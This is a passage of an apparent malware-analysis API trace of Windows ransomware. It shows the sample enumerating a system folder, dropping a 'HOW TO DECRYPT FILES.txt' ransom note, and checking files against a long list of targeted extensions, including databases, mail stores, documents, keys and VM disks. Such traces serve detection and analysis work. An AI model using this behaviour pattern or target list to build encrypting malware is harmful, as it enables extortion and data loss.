lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44" [0119.145] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.145] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.145] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.146] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.146] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.146] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Dynamic.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.146] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.146] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Dynamic.ni.dll") returned -1 [0119.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Dynamic.ni.dll") returned -1 [0119.146] lstrcmpiA (lpString1="", lpString2="System.Dynamic.ni.dll") returned -1 [0119.146] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\*.*") returned="*.*" [0119.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\" [0119.146] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\") returned="" [0119.146] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt" [0119.146] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\how to decrypt files.txt")) returned 0xffffffff [0119.146] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.159] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.160] CloseHandle (hObject=0x90) returned 1 [0119.160] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\", lpString2="System.Dynamic.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll" [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.ems") returned 0 [0119.161] lstrlenA (lpString="*.ems") returned 5 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.db") returned 0 [0119.161] lstrlenA (lpString="*.db") returned 4 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.dbf") returned 0 [0119.161] lstrlenA (lpString="*.dbf") returned 5 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.myox") returned 0 [0119.161] lstrlenA (lpString="*.myox") returned 6 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.myo") returned 0 [0119.161] lstrlenA (lpString="*.myo") returned 5 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qbw") returned 0 [0119.161] lstrlenA (lpString="*.qbw") returned 5 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qbb") returned 0 [0119.161] lstrlenA (lpString="*.qbb") returned 5 [0119.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qbm") returned 0 [0119.162] lstrlenA (lpString="*.qbm") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qbo") returned 0 [0119.162] lstrlenA (lpString="*.qbo") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qbx") returned 0 [0119.162] lstrlenA (lpString="*.qbx") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qba") returned 0 [0119.162] lstrlenA (lpString="*.qba") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qby") returned 0 [0119.162] lstrlenA (lpString="*.qby") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qbj") returned 0 [0119.162] lstrlenA (lpString="*.qbj") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.ofx") returned 0 [0119.162] lstrlenA (lpString="*.ofx") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.qif") returned 0 [0119.162] lstrlenA (lpString="*.qif") returned 5 [0119.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mye") returned 0 [0119.163] lstrlenA (lpString="*.mye") returned 5 [0119.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mbox") returned 0 [0119.163] lstrlenA (lpString="*.mbox") returned 6 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.eml") returned 0 [0119.164] lstrlenA (lpString="*.eml") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.pst") returned 0 [0119.164] lstrlenA (lpString="*.pst") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.ost") returned 0 [0119.164] lstrlenA (lpString="*.ost") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.idx") returned 0 [0119.164] lstrlenA (lpString="*.idx") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.dbx") returned 0 [0119.164] lstrlenA (lpString="*.dbx") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.sql") returned 0 [0119.164] lstrlenA (lpString="*.sql") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mdb") returned 0 [0119.164] lstrlenA (lpString="*.mdb") returned 5 [0119.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.fdb") returned 0 [0119.165] lstrlenA (lpString="*.fdb") returned 5 [0119.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.wab") returned 0 [0119.165] lstrlenA (lpString="*.wab") returned 5 [0119.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.dat") returned 0 [0119.165] lstrlenA (lpString="*.dat") returned 5 [0119.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.txt") returned 0 [0119.165] lstrlenA (lpString="*.txt") returned 5 [0119.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.jpeg") returned 0 [0119.165] lstrlenA (lpString="*.jpeg") returned 6 [0119.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.jpg") returned 0 [0119.165] lstrlenA (lpString="*.jpg") returned 5 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.png") returned 0 [0119.166] lstrlenA (lpString="*.png") returned 5 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.php") returned 0 [0119.166] lstrlenA (lpString="*.php") returned 5 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.cs") returned 0 [0119.166] lstrlenA (lpString="*.cs") returned 4 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.cpp") returned 0 [0119.166] lstrlenA (lpString="*.cpp") returned 5 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.rar") returned 0 [0119.166] lstrlenA (lpString="*.rar") returned 5 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.zip") returned 0 [0119.166] lstrlenA (lpString="*.zip") returned 5 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.html") returned 0 [0119.166] lstrlenA (lpString="*.html") returned 6 [0119.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.htm") returned 0 [0119.166] lstrlenA (lpString="*.htm") returned 5 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.xlsx") returned 0 [0119.167] lstrlenA (lpString="*.xlsx") returned 6 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.xls") returned 0 [0119.167] lstrlenA (lpString="*.xls") returned 5 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mp4") returned 0 [0119.167] lstrlenA (lpString="*.mp4") returned 5 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.ppt") returned 0 [0119.167] lstrlenA (lpString="*.ppt") returned 5 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.pptx") returned 0 [0119.167] lstrlenA (lpString="*.pptx") returned 6 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.doc") returned 0 [0119.167] lstrlenA (lpString="*.doc") returned 5 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.dot") returned 0 [0119.167] lstrlenA (lpString="*.dot") returned 5 [0119.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.docx") returned 0 [0119.167] lstrlenA (lpString="*.docx") returned 6 [0119.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.7z") returned 0 [0119.168] lstrlenA (lpString="*.7z") returned 4 [0119.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.tar") returned 0 [0119.168] lstrlenA (lpString="*.tar") returned 5 [0119.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.bz2") returned 0 [0119.168] lstrlenA (lpString="*.bz2") returned 5 [0119.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.gz") returned 0 [0119.168] lstrlenA (lpString="*.gz") returned 4 [0119.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mkv") returned 0 [0119.169] lstrlenA (lpString="*.mkv") returned 5 [0119.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.eml") returned 0 [0119.169] lstrlenA (lpString="*.eml") returned 5 [0119.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.msg") returned 0 [0119.169] lstrlenA (lpString="*.msg") returned 5 [0119.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.edb") returned 0 [0119.169] lstrlenA (lpString="*.edb") returned 5 [0119.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.accdb") returned 0 [0119.170] lstrlenA (lpString="*.accdb") returned 7 [0119.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.odb") returned 0 [0119.170] lstrlenA (lpString="*.odb") returned 5 [0119.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.java") returned 0 [0119.170] lstrlenA (lpString="*.java") returned 6 [0119.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.asm") returned 0 [0119.170] lstrlenA (lpString="*.asm") returned 5 [0119.170] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.pfx") returned 0 [0119.170] lstrlenA (lpString="*.pfx") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.pem") returned 0 [0119.171] lstrlenA (lpString="*.pem") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.p12") returned 0 [0119.171] lstrlenA (lpString="*.p12") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.gpg") returned 0 [0119.171] lstrlenA (lpString="*.gpg") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.vsd") returned 0 [0119.171] lstrlenA (lpString="*.vsd") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.odg") returned 0 [0119.171] lstrlenA (lpString="*.odg") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.raw") returned 0 [0119.171] lstrlenA (lpString="*.raw") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.nef") returned 0 [0119.171] lstrlenA (lpString="*.nef") returned 5 [0119.171] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.svg") returned 0 [0119.171] lstrlenA (lpString="*.svg") returned 5 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.psd") returned 0 [0119.172] lstrlenA (lpString="*.psd") returned 5 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.vmx") returned 0 [0119.172] lstrlenA (lpString="*.vmx") returned 5 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.vmdk") returned 0 [0119.172] lstrlenA (lpString="*.vmdk") returned 6 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.vdi") returned 0 [0119.172] lstrlenA (lpString="*.vdi") returned 5 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.lay6") returned 0 [0119.172] lstrlenA (lpString="*.lay6") returned 6 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mpeg") returned 0 [0119.172] lstrlenA (lpString="*.mpeg") returned 6 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.djvu") returned 0 [0119.172] lstrlenA (lpString="*.djvu") returned 6 [0119.172] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.tiff") returned 0 [0119.173] lstrlenA (lpString="*.tiff") returned 6 [0119.173] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.backup") returned 0 [0119.173] lstrlenA (lpString="*.backup") returned 8 [0119.173] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.pdf") returned 0 [0119.173] lstrlenA (lpString="*.pdf") returned 5 [0119.173] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.cert") returned 0 [0119.173] lstrlenA (lpString="*.cert") returned 6 [0119.173] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.docm") returned 0 [0119.173] lstrlenA (lpString="*.docm") returned 6 [0119.173] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.xlsm") returned 0 [0119.173] lstrlenA (lpString="*.xlsm") returned 6 [0119.173] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.dwg") returned 0 [0119.173] lstrlenA (lpString="*.dwg") returned 5 [0119.173] PathMatchSpecA 